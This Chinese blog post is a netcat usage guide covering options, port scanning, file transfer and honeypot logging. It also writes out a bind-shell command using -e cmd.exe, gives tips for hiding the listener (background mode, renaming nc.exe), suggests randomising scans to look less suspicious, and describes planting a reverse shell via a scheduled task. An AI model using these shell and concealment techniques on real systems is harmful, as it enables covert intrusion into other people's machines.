NC(netcat)使用指南
NC (Netcat) 使用指南
第一次知道 nc(Netcat)是好几年前的事了,那个时候天比现在更蓝,草比现在更绿,卤煮也还是一个刚上大学不久的青葱骚年...
现在把这个 01 年的老古董拿出来说好像有点炒冷饭的意思,资料也铺天盖地了,说多了还惹人嫌。不过没办法啊,毕竟当卤煮逐渐发现它有许多颇有内涵的功能的时候,连小伙伴都让它给惊呆了 :D ...
由于对 Hacker 文化的兴趣,顺理成章的在合适的时候发现了 nc。但当时的卤煮正值被铺天盖地的计算机方方面面知识砸得晕晕乎乎的人生阶段... 对于这个一直享有“瑞士军刀”之名的软件,找过来看了两把完全没有发现其中的滚滚内涵。
因为是这样的,nc 提供的基本功能并不多,Windows 版本的 prompt> nc -h 所给出的所谓官方操作文档不过下面这寥寥数语:
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere: nc [-options] hostname port[s] [p
listen for inbound: nc -l -p port [options] [hostname
options:
-d detach from console, background m
-e prog inbound program to exec [dangerou
-g gateway source-routing hop point[s], up t
-G num source-routing pointer: 4, 8, 12,
-h this cruft
-i secs delay interval for lines sent, po
-l listen mode, for inbound connects
-L listen harder, re-listen on socke
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more ver
-w secs timeout for connects and final ne
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]参数详解
- -d:字面上大约是后台运行的意思,不占用当前 Shell。
- -e:这个参数大有内涵。网上一般翻译成程序重定向什么的,但是“重定向”这个词... 卤煮暂时没去看源码,不知道其具体做了什么事情,但猜测可能是 fork 一个子进程 exec 用户程序,然后父进程 wait 子进程的做法。这个
-e用在 Server 端的时候,目测是在 accept 成功之后,然后把这个用户程序的输入输出重定向到 Client Socket 对应的 readfd 和 writefd 上。具体应用下面再说。 - -g:额... 这个参数从文档字面上看不太懂(一堆英文专业术语冒出来好可怕... :X)。有些同学翻译成“源路由跳点”实在是太翻译软件了。看下资料大致上是为了做到强制数据流经这些节点,这样就有机会做到类似利用节点 IP 巧妙的避开目标机的 ACL 限制这样的功能。官文用了一个词叫"loose-source-routed path",loose 猜测意思大约是指仅简单的保证会经过
-g给的节点,并不能保证以这条列表的所示路径来完成链路的意思,因为路由发包所选择的下一个 hop 是有自己的路由策略的吧,所以保证不了两个路由间的具体路径。各个操作系统的版本不一定都支持-g,至于数据是否会依照所给节点顺序来传递现在也还不是很清楚。 - -G:在
-g所给列表中选择一个地址作为当前的下一个路由。据说是因为 IP 的内存对象都是 4 字节存储,所以-G所给参数也得是 4 的倍数,虽然自己换算下也没什么但这种设计只能用惨无人道来形容。这个功能据说在“网络诈骗”方面有一定用武之地,这个卤煮暂时没感受。(CentOS 装了个版本没有-g和-G) - -h:For help。
- -i:每行数据发送出去的延时时间吧(秒)。
- -l:会 listen 的东东我们都管他叫 Server... 理解成 Server Mode 就好,一次性行为(怎么读都可以...)。
- -L:和
-l做的事情一样,区别在这个"re"上,客户端端口后依然保持。 - -n:表示 connect 的目标地址是一个 IP,可以略过 DNS 的过程。这个参数一般情况下加不加好像无所谓吧,不加
-n也可以直接用 IP 的。 - -o:把往来数据 log 起来,监控用。
- -p:后面跟端口号,指定一个端口。
- -r:在范围扫描端口的时候,即执行类似
nc -v 127.0.0.1 1-1000这样的操作时,加上-r参数可以使每次扫描的端口号随机化,否则一般是从高到低依序扫描。 - -s:翻译过来叫 nc 建立连接时用的 IP 地址,据说可以仿冒本地地址,暂时还不太知道怎么使用。
- -t:以 Telnet 方式进行交互,这个暂时不知道和普通的字符方式有何区别。
- -u:UDP Mode,比如扫端口的时候,带
-u扫 UDP 端口,不带就默认扫 TCP 端口。 - -v:提示信息,连着两个
-v会得到更加详细的提示信息,具体区别实际用的时候自己去感受下。 - -w:Connect 时的超时时间,一般扫描端口的时候会加上。
- -z:关闭 IO,就是英文字面上的意思,用途也说了。
无意在文档泛滥成灾的网络上再加一篇劣质文档,总之就是先总结下感受这样子,有助卤煮记忆。
如这些参数所见,除了暂时看上去显得很高端大气上档次的 -g -G 组合之外,nc 实际上只作了很少的事情。无非是每个学过网络编程的人都反反复复写过的小例子,像什么 connect、listen、bind、read、write、execxx、sleep、IO 重定向之类的组合一下。对于思路不够开阔的人(比如卤煮)来说,好像这样的软件根本做不了什么事情。说起来反而是自己以前把网络中用到的许多功能自己给想太复杂了,总觉得要做到某个具体的功能是需要为此写份代码,于是这事那事的一拖再拖最后啥事儿也没去干。
前几天要重新学习下编写 Server,刚准备动手写个 Client 以便测试的时候突然灵感一闪,想起了阔别已久的 nc,然后便一发不可收拾的用了下去。发现它能做到的事情实在是很多,真是印证了那句话,“简单即是美好”。
扫描端口
nc -nvvz -w2 127.0.0.1 1-1000最基本的功能之一了,扫描目标 IP 的端口段,然后用 -w 加上一个超时时间。参数里加上 -r 使得端口扫描变得随机一些,对方 Log 里看起来不那么像是被扫描的(其实还是很容易看出来)。
连接到目标
nc -nvv 127.0.0.1 8089作为测试客户端非常常用的功能,即连接到目标 IP 的某个端口上。连接上之后会把 stdin 的数据发给 Server。
在确定服务端正常开启的情况下连接被拒,多半要去检查下防火墙设置。
服务器
nc -lvv -p 8089让 nc 作为一个 Server 监听 8089 端口,把 stdin 的数据发给 Client。
传文件
其实和 nc 没啥关系,主要利用了系统 IO 重定向或 Pipe 的功能,标准化带来的好处多多。
发送端通过 Pipe 把文件数据传递给 stdin,或者通过重定向把 stdin 重定向到某个文件上,然后接受端只要对 stdout 进行重定向把它定向到目标文件上去即可。
比如:
# Server 端
nc -lvv -p 8089 < my.txt
# Client 端
nc -nvv serverip 8089 > my.txt当你在纠结两台机子传个文件到底是用网络共享好还是利用中间 FTP 好,又或者是 scp 甚至于给自己发个邮件另一台机子上去下载的时候,这简直是你的诺亚方舟。
这个功能说成传文件说的有些狭隘了,总之就是传递数据。理论上可以把接收端的数据(可能是某种格式编码的)直接传给对应的处理软件去执行,举个例子比如说看个视频什么的。
得到对端机子的 Shell
-e 的邪恶能力终于派上用场了。
nc -lvv -p 8089 -t -e cmd.exe然后你去连它的时候神奇的事情发生了,自己的终端会变成对方机子的终端,可以随便做邪恶的事情(在用户权限范围下),原理的话估计和我上面写的类似。
如果对方机子的 nc 支持 -d,那就更理想一点,加上这个参数使得 nc 后台运行更加难以发现。更进一步的,修改 nc.exe 的文件名使查看进程的时候别人也不容易起疑。这个 NB 的功能除了拿来动真刀真枪之外,还能怎么玩其实主要看 -e 后面的这个用户程序怎么去写吧,这个还是自己去找灵感。
蜜罐
还是作为 Server 的基本功能来说,思路不一样会发现用途立刻就大相径庭。比如说你没事儿 listen 一个端口,然后 -o 来打 Log,闲来喝喝茶翻翻 Log,你就能知道都有哪些人对你的这个端口感兴趣(嘿嘿嘿...)
更进一步的,因为许多小坏蛋们总是用一些安全渗透工具来找空子,毕竟是工具嘛,识别一些漏洞总是有一组傻乎乎的规则的。如果想要捉弄他们让他们误以为真的有漏洞而采取进一步措施的话,可以结合 nc 的数据传输功能和 -e 再加上自写程序来伪造一个。不过小心玩火自焚喽。
反向链接
前面说一个拿到 Server Shell 的情况,要求 Server 端绑定一个 Shell 程序到端口上。那么实际应用情境中,一般就是小坏蛋给小绵羊电脑上种一个 Server 啦,然后每次小坏蛋去连接都能得到 Shell。但由于种种问题,小坏蛋要直接连到小绵羊电脑可能比较麻烦,尤其是小绵羊电脑在一个局域网中,通过 NAT 上网的情况下。
为了解决这个问题,可以换一种思路:小绵羊作为主动发起端并自己绑定一个 Shell 程序到 nc。要实现这个步骤可能是小坏蛋哪天千辛万苦入了小绵羊电脑设了一个计划任务,也可能是小坏蛋到小绵羊家里玩的时候在小绵羊电脑里使了个坏... 然后小坏蛋电脑只需要安心开着 Server 等小绵羊上钩,每次小绵羊连接到 Server 就自动把自己卖了出去...
原理的话,猜测是在阻塞 connect 成功之后 fork 然后 exec,再 wait,和主动连接差不多的。不过反向链接省去了正面突围的大麻烦,功德一件,善哉善哉。
总结
看到比较典型的大概有上面这几种,熟悉的人肯定已经熟悉的不能再熟了。通过和各个系统工具的组合想必还有更多好玩的用法的,所以 nc 可是一个很益智的玩具呢。当然它不仅仅是玩具,必要时也可能帮你解决实际问题。
综合来看,nc 在许多方面的功能都有比较好用的独立软件,这也侧面反应了 nc 在这些功能上都有许多做的不够好的地方(没有足够多针对性的优化和扩展功能)。但它胜在麻雀虽小但五脏俱全,这一点十分讨人喜欢,在许多没有特定工作环境的场合会是非常有吸引力的选择。
虽然还没有深度使用这个工具,不过有预感结合自编脚本来用的话,应该会表现的更加出彩一些。
就像语言影响人的思维面一样,工具的掌握让人更加清晰的认识到何事可为何事不可为,从而进一步影响决策和行为。
为了进化而努力。
说明:本文基于早期 Netcat 版本(如 v1.11 NT)编写。现代 Linux 发行版默认安装的通常是netcat-openbsd或nmap套件中的ncat,出于安全考虑,部分新版本可能移除了-e参数(执行程序功能)。如需使用相关功能,请确认当前安装的具体版本及特性。
版权声明:本文为原创文章,版权归 戴老师的博客 所有,转载请联系博主获得授权。
本文地址:https://1diff.fun/archives/ncnetcat-shi-yong-zhi-nan.html
如果对本文有什么问题或疑问都可以在评论区留言,我看到后会尽量解答。